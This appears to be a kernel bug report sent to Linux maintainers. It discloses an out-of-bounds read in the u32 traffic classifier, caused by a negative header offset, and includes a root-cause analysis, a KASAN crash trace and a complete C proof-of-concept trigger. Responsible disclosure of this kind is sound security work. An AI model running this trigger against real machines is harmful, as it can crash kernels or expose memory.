[BUG] KASAN: slab-use-after-free Read in u32_classify

From: 김강민

Date: Sun Jan 25 2026 - 23:16:20 EST


Dear Linux kernel developers and maintainers,
Using a modified version of syzkaller, I identified a new bug and
refined the PoC, and the bug-related information is attached
below.Please let me know if you need any further information.

Summary

When configuring u32 classifier, the type for hoff in sel allows
negative values. This leads to an Out-of-Bounds read during subsequent
processing of classify.

P.S. If the memory at the Out-of-Bounds access point has already been
freed, KASAN may detect this as a Use-After-Free.

Keywords
- net/sched

Kernel Info
Version: (Output of /proc/version)
- Linux version Linux version 6.19.0-rc7
Commit: (Git hash if applicable)
- 63804fed149a6750ffd28610c5c1c98cce6bd377


Description(Root Cause)
```
TC_INDIRECT_SCOPE int u32_classify(struct sk_buff *skb,
const struct tcf_proto *tp,
struct tcf_result *res)
{
struct {
struct tc_u_knode *knode;
unsigned int off;
} stack[TC_U32_MAXDEPTH];

struct tc_u_hnode *ht = rcu_dereference_bh(tp->root);
unsigned int off = skb_network_offset(skb);
struct tc_u_knode *n;
int sdepth = 0;
int off2 = 0;
int sel = 0;
#ifdef CONFIG_CLS_U32_PERF
int j;
#endif
int i, r;

next_ht:
n = rcu_dereference_bh(ht->ht[sel]);

next_knode:
if (n) {
...
if (ht->divisor) {
__be32 *data, hdata;

data = skb_header_pointer(skb, off + n->sel.hoff, 4, // [1]
&hdata);
if (!data)
goto out;
sel = ht->divisor & u32_hash_fold(*data, &n->sel, // [2]
n->fshift);
}
...
}

...
return -1;
}
```
n->sel.hoff is a user-controllable value of type short. Since no
additional validation exists before reaching [1], off + n->sel.hoff
can become negative, causing data to point to an address before
skb→head. In the PoC, off is 0xe and n->sel.hoff is 0xf000 (-4096 as a
signed short), resulting in skb_header_pointer()'s second argument
being -4082.

```
static inline void * __must_check
__skb_header_pointer(const struct sk_buff *skb, int offset, int len,
const void *data, int hlen, void *buffer)
{
if (likely(hlen - offset >= len))
return (void *)data + offset; // [3]

if (!skb || unlikely(skb_copy_bits(skb, offset, buffer, len) < 0))
return NULL;

return buffer;
}
```
Since offset is set to -4082 at [3], data - 4082 is returned and
stored in data, resulting in an Out-of-Bounds condition that exceeds
the intended range.
Subsequently, at [2], this data value is used, triggering an Out-of-Bounds read.


Kasan Report
==================================================================
BUG: KASAN: slab-use-after-free in u32_classify+0x1180/0x11b0
net/sched/cls_u32.c:221
Read of size 4 at addr ffff888103af9d90 by task test/315

CPU: 1 UID: 0 PID: 315 Comm: test Not tainted 6.19.0-rc7 #11 PREEMPT(full)
Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS
1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<IRQ>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x7b/0xa0 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0xd0/0x660 mm/kasan/report.c:482
kasan_report+0xce/0x100 mm/kasan/report.c:595
u32_classify+0x1180/0x11b0 net/sched/cls_u32.c:221
tc_classify include/net/tc_wrapper.h:197 [inline]
__tcf_classify net/sched/cls_api.c:1764 [inline]
tcf_classify+0x6dd/0x11d0 net/sched/cls_api.c:1860
htb_classify net/sched/sch_htb.c:245 [inline]
htb_enqueue+0x31e/0xf10 net/sched/sch_htb.c:625
dev_qdisc_enqueue+0x45/0x160 net/core/dev.c:4147
__dev_xmit_skb net/core/dev.c:4262 [inline]
__dev_queue_xmit+0x1eea/0x3060 net/core/dev.c:4798
dev_queue_xmit include/linux/netdevice.h:3381 [inline]
neigh_hh_output include/net/neighbour.h:540 [inline]
neigh_output include/net/neighbour.h:554 [inline]
ip_finish_output2+0xdd2/0x1710 net/ipv4/ip_output.c:237
__ip_finish_output.part.0+0x182/0x2f0 net/ipv4/ip_output.c:315
__ip_finish_output net/ipv4/ip_output.c:444 [inline]
ip_finish_output net/ipv4/ip_output.c:325 [inline]
NF_HOOK_COND include/linux/netfilter.h:307 [inline]
ip_output+0x288/0x510 net/ipv4/ip_output.c:438
dst_output include/net/dst.h:464 [inline]
ip_local_out net/ipv4/ip_output.c:131 [inline]
ip_send_skb net/ipv4/ip_output.c:1508 [inline]
ip_push_pending_frames+0x1ad/0x210 net/ipv4/ip_output.c:1528
icmp_push_reply+0x2c3/0x3e0 net/ipv4/icmp.c:395
__icmp_send+0xe93/0x2040 net/ipv4/icmp.c:972
icmp_send include/net/icmp.h:43 [inline]
__udp4_lib_rcv+0xfbc/0x2660 net/ipv4/udp.c:2741
ip_protocol_deliver_rcu+0x196/0x380 net/ipv4/ip_input.c:207
ip_local_deliver_finish+0x348/0x4d0 net/ipv4/ip_input.c:241
NF_HOOK include/linux/netfilter.h:318 [inline]
NF_HOOK include/linux/netfilter.h:312 [inline]
ip_local_deliver+0x1a0/0x2f0 net/ipv4/ip_input.c:262
dst_input include/net/dst.h:474 [inline]
ip_rcv_finish net/ipv4/ip_input.c:453 [inline]
NF_HOOK include/linux/netfilter.h:318 [inline]
NF_HOOK include/linux/netfilter.h:312 [inline]
ip_rcv+0x352/0x3d0 net/ipv4/ip_input.c:573
__netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:6152
__netif_receive_skb+0x1f/0x110 net/core/dev.c:6265
process_backlog+0x210/0x670 net/core/dev.c:6617
__napi_poll+0xa4/0x590 net/core/dev.c:7681
napi_poll net/core/dev.c:7744 [inline]
net_rx_action+0xa0e/0xf60 net/core/dev.c:7896
handle_softirqs+0x18c/0x530 kernel/softirq.c:622
do_softirq kernel/softirq.c:523 [inline]
do_softirq+0x3b/0x60 kernel/softirq.c:510
</IRQ>
<TASK>
__local_bh_enable_ip+0x61/0x70 kernel/softirq.c:450
local_bh_enable include/linux/bottom_half.h:33 [inline]
rcu_read_unlock_bh include/linux/rcupdate.h:936 [inline]
__dev_queue_xmit+0x6c0/0x3060 net/core/dev.c:4859
dev_queue_xmit include/linux/netdevice.h:3381 [inline]
neigh_hh_output include/net/neighbour.h:540 [inline]
neigh_output include/net/neighbour.h:554 [inline]
ip_finish_output2+0xdd2/0x1710 net/ipv4/ip_output.c:237
__ip_finish_output.part.0+0x182/0x2f0 net/ipv4/ip_output.c:315
__ip_finish_output net/ipv4/ip_output.c:444 [inline]
ip_finish_output net/ipv4/ip_output.c:325 [inline]
NF_HOOK_COND include/linux/netfilter.h:307 [inline]
ip_output+0x288/0x510 net/ipv4/ip_output.c:438
dst_output include/net/dst.h:464 [inline]
ip_local_out net/ipv4/ip_output.c:131 [inline]
ip_send_skb+0x160/0x1b0 net/ipv4/ip_output.c:1508
udp_send_skb+0x6d6/0x1000 net/ipv4/udp.c:1195
udp_sendmsg+0x1463/0x1eb0 net/ipv4/udp.c:1484
inet_sendmsg+0xfa/0x140 net/ipv4/af_inet.c:859
sock_sendmsg_nosec net/socket.c:727 [inline]
__sock_sendmsg net/socket.c:742 [inline]
sock_write_iter+0x493/0x5b0 net/socket.c:1195
new_sync_write fs/read_write.c:593 [inline]
vfs_write+0x657/0xd30 fs/read_write.c:686
ksys_write+0x1b2/0x200 fs/read_write.c:738
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0xa4/0x320 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f2e77de9513
Code: 8b 15 81 29 0e 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f
1f 00 64 8b 04 25 18 00 00 00
RSP: 002b:00007ffef12b6668 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f2e77de9513
RDX: 0000000000000040 RSI: 00007ffef12b66a0 RDI: 0000000000000003
RBP: 00007ffef12b6700 R08: 0000000000000004 R09: 0000000000000000
R10: fffffffffffffd8d R11: 0000000000000246 R12: 000055fef9c660f0
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
</TASK>

Allocated by task 1:
kasan_save_stack+0x33/0x60 mm/kasan/common.c:57
kasan_save_track+0x14/0x30 mm/kasan/common.c:78
unpoison_slab_object mm/kasan/common.c:340 [inline]
__kasan_slab_alloc+0x6e/0x70 mm/kasan/common.c:366
kasan_slab_alloc include/linux/kasan.h:253 [inline]
slab_post_alloc_hook mm/slub.c:4953 [inline]
slab_alloc_node mm/slub.c:5263 [inline]
kmem_cache_alloc_node_noprof+0x13b/0x4d0 mm/slub.c:5315
kmalloc_reserve+0x15d/0x270 net/core/skbuff.c:586
__alloc_skb+0x13b/0x390 net/core/skbuff.c:690
alloc_skb include/linux/skbuff.h:1383 [inline]
nlmsg_new include/net/netlink.h:1055 [inline]
mpls_netconf_notify_devconf+0x41/0xf0 net/mpls/af_mpls.c:1205
mpls_dev_sysctl_register+0x1c4/0x2a0 net/mpls/af_mpls.c:1441
mpls_add_dev net/mpls/af_mpls.c:1490 [inline]
mpls_dev_notify+0x342/0x670 net/mpls/af_mpls.c:1635
call_netdevice_notifier net/core/dev.c:1884 [inline]
call_netdevice_register_notifiers net/core/dev.c:1892 [inline]
call_netdevice_register_net_notifiers+0x15d/0x4c0 net/core/dev.c:1923
register_netdevice_notifier+0xd7/0x230 net/core/dev.c:1979
mpls_init+0x3a/0x110 net/mpls/af_mpls.c:2827
do_one_initcall+0xb2/0x3a0 init/main.c:1378
do_initcall_level init/main.c:1440 [inline]
do_initcalls init/main.c:1456 [inline]
do_basic_setup init/main.c:1475 [inline]
kernel_init_freeable+0x461/0x780 init/main.c:1688
kernel_init+0x1f/0x250 init/main.c:1578
ret_from_fork+0x378/0x490 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246

Freed by task 1:
kasan_save_stack+0x33/0x60 mm/kasan/common.c:57
kasan_save_track+0x14/0x30 mm/kasan/common.c:78
kasan_save_free_info+0x3b/0x60 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x43/0x70 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2540 [inline]
slab_free mm/slub.c:6674 [inline]
kmem_cache_free+0xcc/0x4c0 mm/slub.c:6785
skb_kfree_head net/core/skbuff.c:1066 [inline]
skb_kfree_head net/core/skbuff.c:1063 [inline]
skb_free_head+0x19d/0x230 net/core/skbuff.c:1080
skb_release_data+0x4ac/0x670 net/core/skbuff.c:1107
skb_release_all net/core/skbuff.c:1182 [inline]
__kfree_skb net/core/skbuff.c:1196 [inline]
consume_skb net/core/skbuff.c:1429 [inline]
consume_skb+0xc7/0x220 net/core/skbuff.c:1423
netlink_broadcast_filtered+0x379/0xd50 net/netlink/af_netlink.c:1535
nlmsg_multicast_filtered include/net/netlink.h:1165 [inline]
nlmsg_multicast include/net/netlink.h:1184 [inline]
nlmsg_notify+0x8d/0x1c0 net/netlink/af_netlink.c:2593
mpls_netconf_notify_devconf+0x8f/0xf0 net/mpls/af_mpls.c:1217
mpls_dev_sysctl_register+0x1c4/0x2a0 net/mpls/af_mpls.c:1441
mpls_add_dev net/mpls/af_mpls.c:1490 [inline]
mpls_dev_notify+0x342/0x670 net/mpls/af_mpls.c:1635
call_netdevice_notifier net/core/dev.c:1884 [inline]
call_netdevice_register_notifiers net/core/dev.c:1892 [inline]
call_netdevice_register_net_notifiers+0x15d/0x4c0 net/core/dev.c:1923
register_netdevice_notifier+0xd7/0x230 net/core/dev.c:1979
mpls_init+0x3a/0x110 net/mpls/af_mpls.c:2827
do_one_initcall+0xb2/0x3a0 init/main.c:1378
do_initcall_level init/main.c:1440 [inline]
do_initcalls init/main.c:1456 [inline]
do_basic_setup init/main.c:1475 [inline]
kernel_init_freeable+0x461/0x780 init/main.c:1688
kernel_init+0x1f/0x250 init/main.c:1578
ret_from_fork+0x378/0x490 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246

The buggy address belongs to the object at ffff888103af9d40
which belongs to the cache skbuff_small_head of size 704
The buggy address is located 80 bytes inside of
freed 704-byte region [ffff888103af9d40, ffff888103afa000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x103af8
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x200000000000040(head|node=0|zone=2)
page_type: f5(slab)
raw: 0200000000000040 ffff888100919280 dead000000000100 dead000000000122
raw: 0000000000000000 0000000080130013 00000000f5000000 0000000000000000
head: 0200000000000040 ffff888100919280 dead000000000100 dead000000000122
head: 0000000000000000 0000000080130013 00000000f5000000 0000000000000000
head: 0200000000000002 ffffea00040ebe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
ffff888103af9c80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888103af9d00: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
>ffff888103af9d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff888103af9e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff888103af9e80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <net/if.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>



#define NLA_F_NESTED (1 << 15)
#define TC_MSG_BUFSIZE 16384
#define TC_HANDLE(maj, min) (((maj) << 16) | (min))
#define NLMSG_TAIL(nmsg) ((struct rtattr*)(((char*)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

typedef struct {
uint32_t mask;
uint32_t val;
int32_t off;
int32_t offmask;
} u32_key;

typedef struct {
int sock;
struct nlmsghdr* msg;
struct tcmsg* tc;
struct rtattr* opts_nest;
} filter_ctx_t;



static char g_nl_buf[TC_MSG_BUFSIZE];
static uint32_t g_u32_ht_handle = 0;


static struct nlmsghdr* nl_msg_init(void)
{
struct nlmsghdr* msg = (struct nlmsghdr*)g_nl_buf;
memset(msg, 0, TC_MSG_BUFSIZE);
msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0));
return msg;
}

static struct tcmsg* nl_msg_init_tc(struct nlmsghdr* msg, uint16_t type,
uint16_t flags, int ifindex,
uint32_t parent, uint32_t handle)
{
struct tcmsg* tc;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_type = type;
msg->nlmsg_flags = flags;
tc = (struct tcmsg*)NLMSG_DATA(msg);
tc->tcm_family = AF_UNSPEC;
tc->tcm_ifindex = ifindex;
tc->tcm_parent = parent;
tc->tcm_handle = handle;
return tc;
}

static int nl_attr_put(struct nlmsghdr* msg, int maxlen, int type,
const void* data, int alen)
{
int len = RTA_LENGTH(alen);
struct rtattr* rta;
if (NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len) > (unsigned int)maxlen)
return -1;
rta = NLMSG_TAIL(msg);
rta->rta_type = type;
rta->rta_len = len;
if (alen && data)
memcpy(RTA_DATA(rta), data, alen);
msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len);
return 0;
}

static int nl_attr_put_str(struct nlmsghdr* msg, int maxlen, int type,
const char* str)
{
return nl_attr_put(msg, maxlen, type, str, strlen(str) + 1);
}

static int nl_attr_put_u32(struct nlmsghdr* msg, int maxlen, int type,
uint32_t v)
{
return nl_attr_put(msg, maxlen, type, &v, 4);
}

static struct rtattr* nl_attr_nest_start(struct nlmsghdr* msg, int maxlen,
int type)
{
struct rtattr* nest = NLMSG_TAIL(msg);
if (nl_attr_put(msg, maxlen, type | NLA_F_NESTED, NULL, 0) < 0)
return NULL;
return nest;
}

static void nl_attr_nest_end(struct nlmsghdr* msg, struct rtattr* nest)
{
nest->rta_len = (char*)NLMSG_TAIL(msg) - (char*)nest;
}

static int nl_send(int sock, struct nlmsghdr* msg)
{
struct sockaddr_nl nladdr;
struct iovec iov;
struct msghdr msgh;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
iov.iov_base = msg;
iov.iov_len = msg->nlmsg_len;
memset(&msgh, 0, sizeof(msgh));
msgh.msg_name = &nladdr;
msgh.msg_namelen = sizeof(nladdr);
msgh.msg_iov = &iov;
msgh.msg_iovlen = 1;
return sendmsg(sock, &msgh, 0);
}


static int set_qdisc_htb(int sock, int ifindex, uint32_t parent,
uint32_t handle, int replace)
{
struct nlmsghdr* msg = nl_msg_init();
struct tc_htb_glob glob = {0};
struct rtattr* nest;
int flags =
NLM_F_REQUEST | NLM_F_CREATE | (replace ? NLM_F_REPLACE : NLM_F_EXCL);
nl_msg_init_tc(msg, RTM_NEWQDISC, flags, ifindex, parent, handle);
nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "htb");
nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
glob.version = 3;
glob.rate2quantum = 0x1000000;
glob.defcls = 0x3000000;

nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_HTB_INIT, &glob, sizeof(glob));
nl_attr_nest_end(msg, nest);
return nl_send(sock, msg);
}


static int del_qdisc(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
struct nlmsghdr* msg = nl_msg_init();
nl_msg_init_tc(msg, RTM_DELQDISC, NLM_F_REQUEST, ifindex, parent, handle);
return nl_send(sock, msg);
}

static void cleanup_tc(int sock, int ifindex)
{
del_qdisc(sock, ifindex, TC_H_ROOT, 0);
del_qdisc(sock, ifindex, TC_H_INGRESS, 0);
}


static long ht_set(void)
{
int sock;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);


filter_ctx_t ctx;
ctx.sock = sock;
ctx.msg = nl_msg_init();
struct nlmsghdr* ht_msg;
struct tcmsg* ht_tc;
struct rtattr* ht_opts;

ht_msg = nl_msg_init();
ht_tc = nl_msg_init_tc(ht_msg, RTM_NEWTFILTER, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, 1, 0x00010000, 0);
ht_tc->tcm_info = TC_H_MAKE(0 << 16, htons(ETH_P_ALL));
nl_attr_put_str(ht_msg, TC_MSG_BUFSIZE, TCA_KIND, "u32");
ht_opts = nl_attr_nest_start(ht_msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
nl_attr_put_u32(ht_msg, TC_MSG_BUFSIZE, TCA_U32_DIVISOR, 8);
nl_attr_nest_end(ht_msg, ht_opts);
nl_send(ctx.sock, ht_msg);
g_u32_ht_handle = 0x80100000 | ((0 & 0xF) << 20);

nl_attr_put_u32(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_LINK, g_u32_ht_handle);
nl_attr_put_str(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_INDEV, "lo");
nl_send(sock, ctx.msg);
close(sock);
return 0;
}


static long trigger_oob(void)
{
int sock;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);


filter_ctx_t ctx;
ctx.sock = sock;
ctx.msg = nl_msg_init();

ctx.tc = nl_msg_init_tc(ctx.msg, RTM_NEWTFILTER, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, 1, 0x00010000, 0);
ctx.tc->tcm_info = TC_H_MAKE(0 << 16, htons(ETH_P_ALL));
nl_attr_put_str(ctx.msg, TC_MSG_BUFSIZE, TCA_KIND, "u32");
ctx.opts_nest = nl_attr_nest_start(ctx.msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
struct nlmsghdr* ht_msg;
struct tcmsg* ht_tc;
struct rtattr* ht_opts;
char selbuf[256];
struct tc_u32_sel* sel;


memset(selbuf, 0, sizeof(selbuf));
sel = (struct tc_u32_sel*)selbuf;
sel->nkeys = 1;
sel->flags = 0x01;
sel->hoff = 0xf000;
sel->hmask = htonl(0x00006e08);
sel->offshift = 0;
sel->offmask = htons(0xFF00);
sel->off = 1795;
sel->offoff = -256;

struct tc_u32_key* keys = (struct tc_u32_key*)(selbuf + sizeof(struct tc_u32_sel));
keys[0].mask = htonl(0x09000000);
keys[0].val = htonl(0x03000000);
keys[0].off = 0;
keys[0].offmask = 0x9000000;

nl_attr_put(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_SEL, selbuf,
sizeof(struct tc_u32_sel) + sizeof(struct tc_u32_key) * 1);
nl_attr_put_u32(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_CLASSID, 0x00010003);
nl_attr_put_u32(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_LINK, g_u32_ht_handle);
nl_attr_put_str(ctx.msg, TC_MSG_BUFSIZE, TCA_U32_INDEV, "lo");
nl_attr_nest_end(ctx.msg, ctx.opts_nest);
nl_send(sock, ctx.msg);
close(sock);
return 0;
}

static void send_to_class(uint32_t classid, int count)
{
int sock;
struct sockaddr_in addr;
char data[64] = "trigger";

sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
return;

const char* ifname = "lo";
setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, ifname, strlen(ifname));

struct timeval tv = {0, 10000};
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));

memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(0x7F000001);
addr.sin_port = htons(12345);

if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
int prio = classid;
setsockopt(sock, SOL_SOCKET, SO_PRIORITY, &prio, sizeof(prio));
for (int i = 0; i < count; i++)
write(sock, data, sizeof(data));
}
close(sock);
}

static long set(void)
{
int sock;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

set_qdisc_htb(sock, 1, TC_H_ROOT, TC_HANDLE(1, 0), 0);
close(sock);
return 0;
}

int main(void)
{
set();
ht_set();
trigger_oob();
send_to_class(TC_HANDLE(1, 0),1);

return 0;
}

Attachment: .config
Description: XML document